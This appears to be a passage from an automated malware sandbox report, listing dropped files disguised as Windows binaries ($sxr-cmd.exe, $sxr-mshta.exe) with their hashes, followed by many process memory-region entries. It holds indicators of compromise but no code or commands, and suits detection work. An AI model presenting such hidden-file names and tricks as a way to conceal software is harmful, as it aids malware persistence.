        • C:\Windows\$sxr-cmd.exe

          Filesize

          283KB

          MD5

          8a2122e8162dbef04694b9c3e0b6cdee

          SHA1

          f1efb0fddc156e4c61c5f78a54700e4e7984d55d

          SHA256

          b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

          SHA512

          99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

        • C:\Windows\$sxr-mshta.exe

          Filesize

          14KB

          MD5

          0b4340ed812dc82ce636c00fa5c9bef2

          SHA1

          51c97ebe601ef079b16bcd87af827b0be5283d96

          SHA256

          dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

          SHA512

          d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

        • memory/340-123-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/340-139-0x0000028B26770000-0x0000028B26797000-memory.dmp

          Filesize

          156KB

        • memory/340-118-0x0000028B26770000-0x0000028B26797000-memory.dmp

          Filesize

          156KB

        • memory/436-141-0x00000284AED10000-0x00000284AED37000-memory.dmp

          Filesize

          156KB

        • memory/436-131-0x00000284AED10000-0x00000284AED37000-memory.dmp

          Filesize

          156KB

        • memory/436-134-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/616-110-0x000001DA23890000-0x000001DA238B7000-memory.dmp

          Filesize

          156KB

        • memory/616-120-0x000001DA23890000-0x000001DA238B7000-memory.dmp

          Filesize

          156KB

        • memory/616-125-0x00007FFA3AC2D000-0x00007FFA3AC2E000-memory.dmp

          Filesize

          4KB

        • memory/616-108-0x000001DA23860000-0x000001DA23882000-memory.dmp

          Filesize

          136KB

        • memory/676-111-0x00000286F05B0000-0x00000286F05D7000-memory.dmp

          Filesize

          156KB

        • memory/676-135-0x00007FFA3AC2F000-0x00007FFA3AC30000-memory.dmp

          Filesize

          4KB

        • memory/676-137-0x00007FFA3AC2C000-0x00007FFA3AC2D000-memory.dmp

          Filesize

          4KB

        • memory/676-114-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/676-132-0x00007FFA3AC2D000-0x00007FFA3AC2E000-memory.dmp

          Filesize

          4KB

        • memory/676-129-0x00000286F05B0000-0x00000286F05D7000-memory.dmp

          Filesize

          156KB

        • memory/744-128-0x000002EC27580000-0x000002EC275A7000-memory.dmp

          Filesize

          156KB

        • memory/744-140-0x000002EC27580000-0x000002EC275A7000-memory.dmp

          Filesize

          156KB

        • memory/744-130-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/952-234-0x0000020C122F0000-0x0000020C12317000-memory.dmp

          Filesize

          156KB

        • memory/952-146-0x0000020C122F0000-0x0000020C12317000-memory.dmp

          Filesize

          156KB

        • memory/952-150-0x0000020C122F0000-0x0000020C12317000-memory.dmp

          Filesize

          156KB

        • memory/952-149-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/956-116-0x000002D25AF10000-0x000002D25AF37000-memory.dmp

          Filesize

          156KB

        • memory/956-138-0x000002D25AF10000-0x000002D25AF37000-memory.dmp

          Filesize

          156KB

        • memory/956-122-0x00007FF9FAC10000-0x00007FF9FAC20000-memory.dmp

          Filesize

          64KB

        • memory/1100-238-0x0000029F49D40000-0x0000029F49D67000-memory.dmp

          Filesize

          156KB

        • memory/1100-155-0x0000029F49D40000-0x0000029F49D67000-memory.dmp

          Filesize

          156KB

        • memory/1108-160-0x000001BA8C260000-0x000001BA8C287000-memory.dmp

          Filesize

          156KB

        • memory/1108-154-0x000001BA8C260000-0x000001BA8C287000-memory.dmp

          Filesize

          156KB

        • memory/1176-166-0x000001376ADD0000-0x000001376ADF7000-memory.dmp

          Filesize

          156KB

        • memory/1232-170-0x000002023E400000-0x000002023E427000-memory.dmp

          Filesize

          156KB

        • memory/1272-173-0x0000027CC3630000-0x0000027CC3657000-memory.dmp

          Filesize

          156KB

        • memory/1324-179-0x0000026751C90000-0x0000026751CB7000-memory.dmp

          Filesize

          156KB

        • memory/1372-201-0x000001D3CEC50000-0x000001D3CEC77000-memory.dmp

          Filesize

          156KB

        • memory/1380-195-0x000001729E460000-0x000001729E487000-memory.dmp

          Filesize

          156KB

        • memory/1472-205-0x0000013C512B0000-0x0000013C512D7000-memory.dmp

          Filesize

          156KB

        • memory/1516-209-0x00000184C6670000-0x00000184C6697000-memory.dmp

          Filesize

          156KB

        • memory/1524-213-0x000001F0441C0000-0x000001F0441E7000-memory.dmp

          Filesize

          156KB

        • memory/1660-223-0x000001B04BCC0000-0x000001B04BCE7000-memory.dmp

          Filesize

          156KB

        • memory/1668-83-0x00000282DE120000-0x00000282DE130000-memory.dmp

          Filesize

          64KB

        • memory/1668-82-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/1668-192-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/1668-220-0x00000282DE120000-0x00000282DE130000-memory.dmp

          Filesize

          64KB

        • memory/1668-224-0x00000282DE120000-0x00000282DE130000-memory.dmp

          Filesize

          64KB

        • memory/1704-217-0x000001A68A490000-0x000001A68A4B7000-memory.dmp

          Filesize

          156KB

        • memory/1732-228-0x000001B82A720000-0x000001B82A747000-memory.dmp

          Filesize

          156KB

        • memory/2772-121-0x0000000000400000-0x0000000000420000-memory.dmp

          Filesize

          128KB

        • memory/2772-104-0x0000000000400000-0x0000000000420000-memory.dmp

          Filesize

          128KB

        • memory/3008-33-0x0000000000400000-0x0000000000406000-memory.dmp

          Filesize

          24KB

        • memory/3008-35-0x0000000000400000-0x0000000000406000-memory.dmp

          Filesize

          24KB

        • memory/4432-68-0x00000187FD630000-0x00000187FDA6E000-memory.dmp

          Filesize

          4.2MB

        • memory/4432-52-0x00000187E1A70000-0x00000187E1A80000-memory.dmp

          Filesize

          64KB

        • memory/4432-51-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/4432-62-0x00000187E1A70000-0x00000187E1A80000-memory.dmp

          Filesize

          64KB

        • memory/4432-115-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/4432-63-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4432-64-0x00007FFA38BE0000-0x00007FFA38C9E000-memory.dmp

          Filesize

          760KB

        • memory/4432-65-0x00000187FC2F0000-0x00000187FC874000-memory.dmp

          Filesize

          5.5MB

        • memory/4432-97-0x00007FFA38BE0000-0x00007FFA38C9E000-memory.dmp

          Filesize

          760KB

        • memory/4432-66-0x00007FFA2ACB0000-0x00007FFA2ACC9000-memory.dmp

          Filesize

          100KB

        • memory/4432-147-0x00000187E1A70000-0x00000187E1A80000-memory.dmp

          Filesize

          64KB

        • memory/4432-98-0x00000187FE160000-0x00000187FE196000-memory.dmp

          Filesize

          216KB

        • memory/4432-67-0x00000187FCE60000-0x00000187FD62A000-memory.dmp

          Filesize

          7.8MB

        • memory/4432-96-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4432-95-0x00000187FE080000-0x00000187FE0CE000-memory.dmp

          Filesize

          312KB

        • memory/4432-69-0x00000187FDA70000-0x00000187FDB22000-memory.dmp

          Filesize

          712KB

        • memory/4432-94-0x00000187FE120000-0x00000187FE15C000-memory.dmp

          Filesize

          240KB

        • memory/4432-142-0x00000187E1A70000-0x00000187E1A80000-memory.dmp

          Filesize

          64KB

        • memory/4432-143-0x00000187E1A70000-0x00000187E1A80000-memory.dmp

          Filesize

          64KB

        • memory/4432-70-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4432-84-0x00000187FE470000-0x00000187FE632000-memory.dmp

          Filesize

          1.8MB

        • memory/4432-81-0x00000187FE1E0000-0x00000187FE292000-memory.dmp

          Filesize

          712KB

        • memory/4432-80-0x00000187FE0D0000-0x00000187FE120000-memory.dmp

          Filesize

          320KB

        • memory/4456-102-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4456-101-0x0000000140000000-0x0000000140028000-memory.dmp

          Filesize

          160KB

        • memory/4456-103-0x00007FFA38BE0000-0x00007FFA38C9E000-memory.dmp

          Filesize

          760KB

        • memory/4456-99-0x0000000140000000-0x0000000140028000-memory.dmp

          Filesize

          160KB

        • memory/4456-106-0x0000000140000000-0x0000000140028000-memory.dmp

          Filesize

          160KB

        • memory/4568-30-0x0000000140000000-0x0000000140004000-memory.dmp

          Filesize

          16KB

        • memory/4568-32-0x0000000140000000-0x0000000140004000-memory.dmp

          Filesize

          16KB

        • memory/4608-4-0x00000255E5B00000-0x00000255E5B22000-memory.dmp

          Filesize

          136KB

        • memory/4608-36-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/4608-19-0x00007FFA38BE0000-0x00007FFA38C9E000-memory.dmp

          Filesize

          760KB

        • memory/4608-18-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4608-16-0x00000255FDE30000-0x00000255FDE40000-memory.dmp

          Filesize

          64KB

        • memory/4608-17-0x0000025580290000-0x00000255802B4000-memory.dmp

          Filesize

          144KB

        • memory/4608-20-0x00000255805B0000-0x0000025580FFE000-memory.dmp

          Filesize

          10.3MB

        • memory/4608-22-0x00007FFA2ACB0000-0x00007FFA2ACC9000-memory.dmp

          Filesize

          100KB

        • memory/4608-43-0x00000255FDE30000-0x00000255FDE40000-memory.dmp

          Filesize

          64KB

        • memory/4608-14-0x00007FFA1B9B0000-0x00007FFA1C471000-memory.dmp

          Filesize

          10.8MB

        • memory/4608-29-0x0000025581450000-0x000002558145A000-memory.dmp

          Filesize

          40KB

        • memory/4608-23-0x0000025581000000-0x00000255810A4000-memory.dmp

          Filesize

          656KB

        • memory/4608-15-0x00000255FDE30000-0x00000255FDE40000-memory.dmp

          Filesize

          64KB

        • memory/4608-27-0x00007FFA3AB90000-0x00007FFA3AD85000-memory.dmp

          Filesize

          2.0MB

        • memory/4608-26-0x0000025581170000-0x0000025581192000-memory.dmp

          Filesize

          136KB

        • memory/4608-25-0x0000025581110000-0x0000025581168000-memory.dmp

          Filesize

          352KB

        • memory/4608-24-0x00000255810B0000-0x0000025581106000-memory.dmp

          Filesize

          344KB